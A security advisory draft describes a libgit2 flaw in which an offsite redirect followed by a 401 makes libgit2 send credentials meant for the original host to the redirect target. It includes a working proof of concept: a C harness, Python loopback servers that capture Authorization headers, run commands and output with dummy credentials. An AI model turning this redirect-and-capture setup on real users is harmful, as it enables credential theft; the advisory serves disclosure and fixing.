GHSA-2889-x8f6-mc4x
CVE Information
Summary
libgit2's builtin HTTP transport follows offsite redirects for the initial smart HTTP request by default. If the redirected server then returns
401 Unauthorized, libgit2 asks the application credential callback for credentials using the original remote URL, not the redirected URL. The returned credential is then attached to the next request to the redirected host as anAuthorizationheader.An attacker who can cause an initial offsite redirect from a trusted Git remote URL, for example through a compromised server or an open redirect on a trusted host, can make libgit2 consumers disclose HTTP credentials scoped by the callback to the original trusted URL.
This draft has not been publicly disclosed and does not claim CVE/GHSA assignment.
Details
Tested repository and version:
- Repository:
https://github.com/libgit2/libgit2- Commit:
57877524482fe6e46afdbf636f5467e7f9a33fe5- Version:
1.9.0- Build used for proof: local out-of-tree CMake build in
/tmp/libgit2-redirect-poc/buildRelevant source-to-sink chain:
- Offsite initial redirects are a documented/default behavior:
include/git2/remote.h:45-60documentsGIT_REMOTE_REDIRECT_INITIALas the default and says offsite redirects are allowed only for the initial request.src/libgit2/remote.c:874-885setsGIT_REMOTE_REDIRECT_INITIALwhen no repository/config override exists.src/libgit2/transports/http.c:221-233allows redirects for initial service requests when this setting is active.
src/libgit2/transports/http.c:246-256applies theLocationheader totransport->server.url.After the redirect, a
401 Unauthorizedfrom the redirected server triggers remote authentication handling:
src/libgit2/transports/http.c:265-269callshandle_remote_authand then replays the request.
handle_remote_authpasses the original remote URL to the credential callback instead of the redirected URL:src/libgit2/transports/http.c:188-195callshandle_auth(..., transport->owner->url, ...).src/libgit2/transports/http.c:156-158passes thaturlargument to the application credential callback.
include/git2/credential.h:125-129documents the callbackurlparameter as the resource for which a credential is being demanded.The acquired credential is stored in
transport->server.credand attached to the next request generated from the redirected URL:src/libgit2/transports/http.c:363-370joins the service path onto the currenttransport->server.urland assignsrequest->credentials = transport->server.cred.src/libgit2/transports/httpclient.c:548-603converts that credential into an HTTP auth header.src/libgit2/transports/httpclient.c:759-763emits server credentials as anAuthorizationheader on the outgoing request.The code itself appears to intend authentication to happen against the redirect target:
src/libgit2/transports/http.c:672-678says the redirected location is preserved so authorization continues against the redirect target, not the user-given source. The actual callback URL passed to applications remains the original source URL.PoC
The primary proof uses two local loopback HTTP servers:
- Origin server:
http://127.0.0.1:19087/repo.git- Redirect target:
http://localhost:19088/redirected.gitThe origin returns a 302 to the redirect target. The target returns
401 WWW-Authenticate: Basic. The credential callback is deliberately host-scoped: it returnsvictim-user:victim-passonly when libgit2 asks for credentials for the original URL. If libgit2 passed the redirected URL to the callback, the callback would decline and no credential would be sent. A separate HTTPS-to-HTTPS loopback run, using a certificate callback that accepts local self-signed test certificates, reproduced the same credential leak across different hostnames.Build and harness setup used:
rm -rf /tmp/libgit2-redirect-poc mkdir -p /tmp/libgit2-redirect-poc cmake -S . -B /tmp/libgit2-redirect-poc/build \ -DBUILD_SHARED_LIBS=OFF \ -DBUILD_TESTS=OFF \ -DBUILD_CLI=OFF \ -DUSE_SSH=OFF \ -DUSE_HTTPS=OpenSSL \ -DUSE_BUNDLED_ZLIB=ON cmake --build /tmp/libgit2-redirect-poc/build --target all -j2
/tmp/libgit2-redirect-poc/redirect_harness.c:#include <git2.h> #include <stdio.h> #include <string.h> struct payload { const char *allowed_url; int calls; }; static int creds_cb(git_credential **out, const char *url, const char *username_from_url, unsigned int allowed_types, void *data) { struct payload *p = (struct payload *)data; (void)username_from_url; p->calls++; printf("credential_callback_url=%s\n", url ? url : "<null>"); printf("credential_allowed_types=%u\n", allowed_types); if (!url || strcmp(url, p->allowed_url) != 0) { printf("credential_callback_declined=1\n"); return 1; } if (!(allowed_types & GIT_CREDENTIAL_USERPASS_PLAINTEXT)) { printf("credential_callback_no_userpass=1\n"); return 1; } return git_credential_userpass_plaintext_new(out, "victim-user", "victim-pass"); } int main(int argc, char **argv) { git_remote *remote = NULL; git_remote_connect_options opts = GIT_REMOTE_CONNECT_OPTIONS_INIT; struct payload payload; int error; if (argc != 3) { fprintf(stderr, "usage: %s <original-url> <allowed-callback-url>\n", argv[0]); return 2; } payload.allowed_url = argv[2]; payload.calls = 0; git_libgit2_init(); if ((error = git_remote_create_detached(&remote, argv[1])) < 0) goto done; opts.callbacks.credentials = creds_cb; opts.callbacks.payload = &payload; error = git_remote_connect_ext(remote, GIT_DIRECTION_FETCH, &opts); done: printf("credential_callback_calls=%d\n", payload.calls); printf("connect_result=%d\n", error); if (error < 0) { const git_error *e = git_error_last(); printf("libgit2_error=%s\n", e && e->message ? e->message : "<none>"); } git_remote_free(remote); git_libgit2_shutdown(); return 0; }
/tmp/libgit2-redirect-poc/redirect_servers.py:#!/usr/bin/env python3 import argparse import base64 import http.server import socketserver import threading class ReusableTCPServer(socketserver.TCPServer): allow_reuse_address = True class State: def __init__(self): self.redirect_host = None self.redirect_port = None self.auth_headers = [] self.paths = [] self.done = threading.Event() state = State() class Origin(http.server.BaseHTTPRequestHandler): def do_GET(self): location = f"http://{state.redirect_host}:{state.redirect_port}/redirected.git/info/refs?service=git-upload-pack" self.send_response(302) self.send_header("Location", location) self.send_header("Content-Length", "0") self.end_headers() def log_message(self, fmt, *args): pass class RedirectTarget(http.server.BaseHTTPRequestHandler): def do_GET(self): state.paths.append(self.path) auth = self.headers.get("Authorization") if auth: state.auth_headers.append(auth) self.send_response(200) body = b"001e# service=git-upload-pack\n00000000" self.send_header("Content-Type", "application/x-git-upload-pack-advertisement") self.send_header("Content-Length", str(len(body))) self.end_headers() self.wfile.write(body) state.done.set() return self.send_response(401) self.send_header("WWW-Authenticate", "Basic realm=redirect-target") self.send_header("Content-Length", "0") self.end_headers() def log_message(self, fmt, *args): pass if __name__ == "__main__": parser = argparse.ArgumentParser() parser.add_argument("--origin-host", default="127.0.0.1") parser.add_argument("--origin-port", type=int, required=True) parser.add_argument("--target-bind-host", default="127.0.0.1") parser.add_argument("--target-redirect-host", default=None) parser.add_argument("--target-port", type=int, required=True) args = parser.parse_args() state.redirect_host = args.target_redirect_host or args.target_bind_host state.redirect_port = args.target_port origin = ReusableTCPServer((args.origin_host, args.origin_port), Origin) target = ReusableTCPServer((args.target_bind_host, args.target_port), RedirectTarget) threads = [threading.Thread(target=origin.serve_forever, daemon=True), threading.Thread(target=target.serve_forever, daemon=True)] for t in threads: t.start() print(f"origin=http://{args.origin_host}:{args.origin_port}/repo.git", flush=True) print(f"target=http://{state.redirect_host}:{args.target_port}/redirected.git", flush=True) state.done.wait(10) expected = "Basic " + base64.b64encode(b"victim-user:victim-pass").decode() print(f"target_paths={state.paths}", flush=True) print(f"target_authorization_headers={state.auth_headers}", flush=True) print(f"expected_authorization={expected}", flush=True) origin.shutdown() target.shutdown()Compile the harness:
cc \ -Iinclude \ -I/tmp/libgit2-redirect-poc/build/src/libgit2/include \ -I/tmp/libgit2-redirect-poc/build/gen_headers \ /tmp/libgit2-redirect-poc/redirect_harness.c \ /tmp/libgit2-redirect-poc/build/libgit2.a \ -lssl -lcrypto -lrt -lpthread -ldl \ -o /tmp/libgit2-redirect-poc/redirect_harnessPositive trigger:
rm -f /tmp/libgit2-redirect-poc/server-final.log /tmp/libgit2-redirect-poc/harness-final.log /tmp/libgit2-redirect-poc/redirect_servers.py \ --origin-host 127.0.0.1 --origin-port 19087 \ --target-bind-host 127.0.0.1 --target-redirect-host localhost --target-port 19088 \ > /tmp/libgit2-redirect-poc/server-final.log 2>&1 & srv=$! for i in $(seq 1 50); do grep -q '^origin=' /tmp/libgit2-redirect-poc/server-final.log && break; sleep 0.1; done /tmp/libgit2-redirect-poc/redirect_harness \ 'http://127.0.0.1:19087/repo.git' \ 'http://127.0.0.1:19087/repo.git' \ > /tmp/libgit2-redirect-poc/harness-final.log 2>&1 wait $srv cat /tmp/libgit2-redirect-poc/harness-final.log cat /tmp/libgit2-redirect-poc/server-final.logObserved positive output from this environment:
credential_callback_url=http://127.0.0.1:19087/repo.git credential_allowed_types=1 credential_callback_calls=1 connect_result=0 origin=http://127.0.0.1:19087/repo.git target=http://localhost:19088/redirected.git target_paths=['/redirected.git/info/refs?service=git-upload-pack', '/redirected.git/info/refs?service=git-upload-pack'] target_authorization_headers=['Basic dmljdGltLXVzZXI6dmljdGltLXBhc3M='] expected_authorization=Basic dmljdGltLXVzZXI6dmljdGltLXBhc3M=The
Authorizationheader value decodes tovictim-user:victim-pass, and it was recorded by the redirected host (localhost:19088), not the original host (127.0.0.1:19087).Fresh verification on ports
19101and19102reproduced the same result:credential_callback_url=http://127.0.0.1:19101/repo.git credential_allowed_types=1 credential_callback_calls=1 connect_result=0 origin=http://127.0.0.1:19101/repo.git target=http://localhost:19102/redirected.git target_paths=['/redirected.git/info/refs?service=git-upload-pack', '/redirected.git/info/refs?service=git-upload-pack'] target_authorization_headers=['Basic dmljdGltLXVzZXI6dmljdGltLXBhc3M='] expected_authorization=Basic dmljdGltLXVzZXI6dmljdGltLXBhc3M=HTTPS-to-HTTPS verification on ports
19111and19112also reproduced the leak. The test used a certificate callback to accept the local self-signed test certificates; the important behavior is that the credential callback still received the original HTTPS URL while the redirected HTTPS target received theAuthorizationheader:certificate_callback_host=127.0.0.1 certificate_callback_valid=0 certificate_callback_host=localhost certificate_callback_valid=0 credential_callback_url=https://127.0.0.1:19111/repo.git credential_allowed_types=1 certificate_callback_host=localhost certificate_callback_valid=0 credential_callback_calls=1 connect_result=0 origin=https://127.0.0.1:19111/repo.git target=https://localhost:19112/redirected.git target_paths=['/redirected.git/info/refs?service=git-upload-pack', '/redirected.git/info/refs?service=git-upload-pack'] target_authorization_headers=['Basic dmljdGltLXVzZXI6dmljdGltLXBhc3M='] expected_authorization=Basic dmljdGltLXVzZXI6dmljdGltLXBhc3M=Negative/control case:
When the callback is changed only by its allowed URL argument to accept the redirected URL instead of the original URL, libgit2 still calls the callback with the original URL. The callback declines, the connection fails with authentication required, and the redirected target receives no
Authorizationheader.Command used:
rm -f /tmp/libgit2-redirect-poc/server-negative.log /tmp/libgit2-redirect-poc/harness-negative.log /tmp/libgit2-redirect-poc/redirect_servers.py \ --origin-host 127.0.0.1 --origin-port 19085 \ --target-bind-host 127.0.0.1 --target-redirect-host localhost --target-port 19086 \ > /tmp/libgit2-redirect-poc/server-negative.log 2>&1 & srv=$! for i in $(seq 1 50); do grep -q '^origin=' /tmp/libgit2-redirect-poc/server-negative.log && break; sleep 0.1; done /tmp/libgit2-redirect-poc/redirect_harness \ 'http://127.0.0.1:19085/repo.git' \ 'http://localhost:19086/redirected.git' \ > /tmp/libgit2-redirect-poc/harness-negative.log 2>&1 wait $srv cat /tmp/libgit2-redirect-poc/harness-negative.log cat /tmp/libgit2-redirect-poc/server-negative.logObserved negative output:
credential_callback_url=http://127.0.0.1:19085/repo.git credential_allowed_types=1 credential_callback_declined=1 credential_callback_calls=1 connect_result=-16 libgit2_error=remote authentication required but no callback set origin=http://127.0.0.1:19085/repo.git target=http://localhost:19086/redirected.git target_paths=['/redirected.git/info/refs?service=git-upload-pack'] target_authorization_headers=[] expected_authorization=Basic dmljdGltLXVzZXI6dmljdGltLXBhc3M=Cleanup:
rm -rf /tmp/libgit2-redirect-pocImpact
A libgit2 consumer that scopes credentials in its credential callback by the callback URL can be tricked into returning credentials for a trusted original URL. libgit2 then sends those credentials to an offsite redirect target that issued the authentication challenge. This can disclose HTTP Basic credentials, personal access tokens, or other user/password-style credentials used by applications through
GIT_CREDENTIAL_USERPASS_PLAINTEXT.A realistic attack requires the victim/application to contact an original URL for which it is willing to provide credentials, and for an attacker to cause that original initial smart HTTP request to redirect offsite, such as through a compromised Git host or an open redirect on a trusted host. Redirect scheme downgrade is mitigated by
git_net_url_apply_redirect, but HTTPS-to-HTTPS offsite redirects remain allowed for the initial request by default and were reproduced locally.Credits
- Thai Son Dinh from VinSOC Labs (R&D)